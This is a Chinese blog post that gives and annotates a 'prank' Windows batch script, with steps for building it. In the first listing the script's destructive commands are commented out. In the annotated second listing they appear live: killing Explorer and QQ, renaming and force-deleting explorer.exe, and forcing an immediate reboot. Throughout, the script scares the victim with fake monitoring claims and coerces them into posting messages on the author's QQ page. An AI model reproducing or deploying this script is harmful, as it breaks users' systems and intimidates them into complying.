惡作劇批處理(bat)程式碼解析
阿新 • • 發佈:2018-12-16
無關的話:
翻找資料時,發現了自己小時候儲存到網盤裡的一個惡作劇程式。碰巧最近剛看完shell命令,正好對該程式進行註釋
什麼是bat檔案:
bat檔案是dos下的批處理檔案。批處理檔案是無格式的文字檔案,它包含一條或多條命令。它的副檔名為 .bat 或 .cmd。在命令提示下輸入批處理檔案的名稱,或者雙擊該批處理檔案,系統就會呼叫cmd.exe按照該檔案中各個命令出現的順序來逐個執行它們。使用批處理檔案(也被稱為批處理程式或指令碼),可以簡化日常或重複性任務。
其實就是一堆dos命令,類似於linux的shell
步驟:
- 新建一個文字檔案
- 用記事本開啟輸入以下程式碼
- 程式碼(關於修改系統檔案的命令已經被註釋),儲存更改副檔名為.bat
@echo off color 00 echo ping www.baidu.com > d:\小小木馬.exe ::下面的幾行程式碼要殺死explorer.exe程序並刪除,刪除explorer.exe檔案不容恢復,所以被我註釋掉了 ::taskkill /f /im explorer.exe ::taskkill /f /im qq.exe ::ren %SystemRoot%\explorer.exe killer.dll ::del /f /s /q %SystemRoot%\explorer.exe cls echo. echo 哈哈哈!好開心吶!又有人中招了。 echo. echo 不過別擔心,我可不是壞人,嘿嘿!O(∩_∩)O echo. echo 這個介面還挺溫馨的吧?好歹我也會考慮下中標者的心理對吧? echo. echo 別把我的視窗關掉,也別關機,信不信由你(警告)。 echo. echo 下面給你一個選擇,請慎重。 echo. set /p AA=請鍵入Y(相信我)或者N(不相信)後按回車(y/n): if /i "%AA%"=="y" goto hui if /i "%AA%"=="n" goto no cls echo 你放棄了選擇或者鍵入錯誤! pause :no ::下面要刪除killer.dll和userinit.exe也被我註釋掉了 ::del %SystemRoot%\killer.dll ::del /f /s /q %SystemRoot%\system32\userinit.exe cls echo 既然你不相信我,那我也沒什好說的了。 echo. echo 別以為我只會幹壞事,如果你相信我,那麼一切都會沒事的。 echo. echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭ pause echo @echo off >a.bat echo del d:\小小木馬.exe >>a.bat echo del a.txt >>a.bat echo del 90後男生的齷齪事太震撼了.bat >>a.bat echo exit >>a.bat shutdown -r -t 00 start a.bat exit :hui cls echo 哈哈,謝謝你相信我,你的選擇是正確的。 echo. echo 不過,你必須得按照我的提示完成以下步驟才行。 echo. echo 等你完成了我的要求,我自然會把你的系統給恢復了。 echo. echo 我善解人意吧? echo. echo 你要記住,在沒有完全結束程式之前,你必須對我是友善的。 echo. echo 不難吧?呵呵O(∩_∩)O pause echo %date% >a.txt & echo %time% >>a.txt echo 哈哈,小樣,中招了吧? >>a.txt echo 不過你別擔心,我不會對你怎麼樣,最主要的是你現在得聽我的! >>a.txt echo 聽懂了嗎?呵呵。我正在監視你的電腦,所以別亂動。 >>a.txt echo 登陸你的QQ,然後點選查詢,輸入我的QQ號:******. >>a.txt echo 點選檢視資料,然後點選我的空間,然後在我的留言板留10次"你好帥” >>a.txt echo 我是不會盜你的QQ號的。因為這沒意思,我玩的是好玩的遊戲。 >>a.txt echo 現在可以關掉這記事本了。O(∩_∩)O >>a.txt ::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n" start a.txt cls echo 登陸你的QQ並且留言後執行下一步。 pause cls echo 呵呵,遊戲到此也快結束了,放心,待會兒你的系統就會恢復了。 echo. echo 但是!我還想在玩一個選擇遊戲,如果你正確的通關了,我就把你的系統恢復了,嘿! echo. echo 下面,請你做一個最關鍵的選擇,記住,要慎重。 echo. echo. :no1 set /p BB=請鍵入Y(你好帥)或者N(你一點都不帥)後按回車(y/n): if /i "%BB%"=="y" goto no3 if /i "%BB%"=="n" goto no2 cls echo 你放棄了選擇或者鍵入錯誤! pause goto no1 :no2 ::del %SystemRoot%\killer.dll ::del /f /s /q %SystemRoot%\system32\userinit.exe ::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr cls echo 我操,我靠,難道我不帥嗎?你怎麼知道我不帥了啊? echo. echo 能把這小東西做到這樣難道我不帥嗎?你知道這樣會讓你的系統崩潰嗎? echo. echo 我都說了要你慎重選擇的,可是你偏偏選錯了,沒辦法。╮(╯▽╰)╭唉 echo. echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭ pause echo @echo off >a.bat echo del d:\小小木馬.exe >>a.bat echo del a.txt >>a.bat echo del 90後男生的齷齪事太震撼了.bat >>a.bat echo exit >>a.bat shutdown -r -t 00 start a.bat exit :no3 cls echo. echo 哈哈,謝謝你,我知道我挺帥的,不過還是想滿足下自己的虛榮心。嘿嘿 echo. echo 我真帥!O(∩_∩)O哈哈,滋滋,帥到掉渣吧? echo. echo 下一步,按任意鍵恢復你的系統吧。 echo. echo. echo. pause ::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe ::del %SystemRoot%\killer.dll cls echo 桌面出來了吧?哈哈,恭喜你過關。 echo. echo 不過你別急著關了我這個程式,為什麼呢? echo. echo 因為............. echo. echo 你看看你的D盤底下是不是多了樣東西呢? echo. echo 想知道是什麼嗎?按任意鍵你就知道了。 echo. pause echo @echo off >a.bat echo del d:\小小木馬.exe >>a.bat echo del a.txt >>a.bat echo del 90後男生的齷齪事太震撼了.bat >>a.bat echo exit >>a.bat start a.bat
註釋(//之後的是註釋):
@echo off //不顯示命令 color 00 //命令框的顏色 echo ping www.baidu.com > d:\小小木馬.exe //ping百度把結果存放到 d:\小小木馬.exe taskkill /f /im explorer.exe //殺死explorer.exe程序 // explorer.exe程序用來顯示系統的桌面環境 taskkill /f /im qq.exe //殺死qq.exe程序 ren %SystemRoot%\explorer.exe killer.dll //把explorer.exe重新命名為kille.dll del /f /s /q %SystemRoot%\explorer.exe //刪除explorer.exe cls echo. //輸出 echo 哈哈哈!好開心吶!又有人中招了。 echo. echo 不過別擔心,我可不是壞人,嘿嘿!O(∩_∩)O echo. echo 這個介面還挺溫馨的吧?好歹我也會考慮下中標者的心理對吧? echo. echo 別把我的視窗關掉,也別關機,信不信由你(警告)。 echo. echo 下面給你一個選擇,請慎重。 :shi echo. set /p AA=請鍵入Y(相信我)或者N(不相信)後按回車(y/n): if /i "%AA%"=="y" goto hui //輸入y跳轉到hui相關程式碼 if /i "%AA%"=="n" goto no //輸入n跳轉到no cls echo 你放棄了選擇或者鍵入錯誤! pause goto shi //輸入錯誤會重複執行 shi :no cls //清屏 echo 既然你不相信我,那我也沒什好說的了。 echo. echo 別以為我只會幹壞事,如果你相信我,那麼一切都會沒事的。 echo. echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭ pause shutdown -r -t 00 //關機 exit //退出 :hui cls //清屏 echo 哈哈,謝謝你相信我,你的選擇是正確的。 echo. echo 不過,你必須得按照我的提示完成以下步驟才行。 echo. echo 等你完成了我的要求,我自然會把你的系統給恢復了。 echo. echo 我善解人意吧? echo. echo 你要記住,在沒有完全結束程式之前,你必須對我是友善的。 echo. echo 不難吧?呵呵O(∩_∩)O pause //把下面內容存入a.txt中 echo %date% >a.txt & echo %time% >>a.txt echo 哈哈,小樣,中招了吧? >>a.txt echo 不過你別擔心,我不會對你怎麼樣,最主要的是你現在得聽我的! >>a.txt echo 聽懂了嗎?呵呵。我正在監視你的電腦,所以別亂動。 >>a.txt echo 登陸你的QQ,然後點選查詢,輸入我的QQ號:*****. >>a.txt echo 點選檢視資料,然後點選我的空間,然後在我的留言板留10次“你好帥” >>a.txt echo 我是不會盜你的QQ號的。因為這沒意思,我玩的是好玩的遊戲。 >>a.txt echo 現在可以關掉這記事本了。O(∩_∩)O >>a.txt //在本地查詢qq的路徑 並執行 for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n" start a.txt //開啟a.txt cls echo 登陸你的QQ並且留言後執行下一步。 pause cls echo 呵呵,遊戲到此也快結束了,放心,待會兒你的系統就會恢復了。 echo. echo 但是!我還想在玩一個選擇遊戲,如果你正確的通關了,我就把你的系統恢復了,嘿! echo. echo 下面,請你做一個最關鍵的選擇,記住,要慎重。 echo. echo. :no1 set /p BB=請鍵入Y(你好帥)或者N(你一點都不帥)後按回車(y/n): if /i "%BB%"=="y" goto no3 //輸入y跳轉到no3 if /i "%BB%"=="n" goto no2 //輸入n跳轉到no2 cls echo 你放棄了選擇或者鍵入錯誤! pause goto no1 //輸入其他跳轉no1 :no2 cls echo 我操,我靠,難道我不帥嗎?你怎麼知道我不帥了啊? echo. echo 能把這小東西做到這樣難道我不帥嗎?你知道這樣會讓你的系統崩潰嗎? echo. echo 我都說了要你慎重選擇的,可是你偏偏選錯了,沒辦法。╮(╯▽╰)╭唉 echo. echo 下一步,請按任意鍵重啟吧!唉╮(╯▽╰)╭ pause echo @echo off >a.bat echo del d:\小小木馬.exe >>a.bat echo del a.txt >>a.bat echo del 90後男生的齷齪事太震撼了.bat >>a.bat echo exit >>a.bat start a.bat shutdown -r -t 00 //關機 exit :no3 cls echo. echo 哈哈,謝謝你,我知道我挺帥的,不過還是想滿足下自己的虛榮心。嘿嘿 echo. echo 我真帥!O(∩_∩)O哈哈,滋滋,帥到掉渣吧? echo. echo 下一步,按任意鍵恢復你的系統吧。 echo. echo. echo. pause //把killer.dll重新命名成explorer ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe del %SystemRoot%\killer.dll //刪除killer.dll cls echo 桌面出來了吧?哈哈,恭喜你過關。 echo. echo 不過你別急著關了我這個程式,為什麼呢? echo. echo 因為............. echo. echo 你看看你的D盤底下是不是多了樣東西呢? echo. echo 想知道是什麼嗎?按任意鍵你就知道了。 echo. pause exit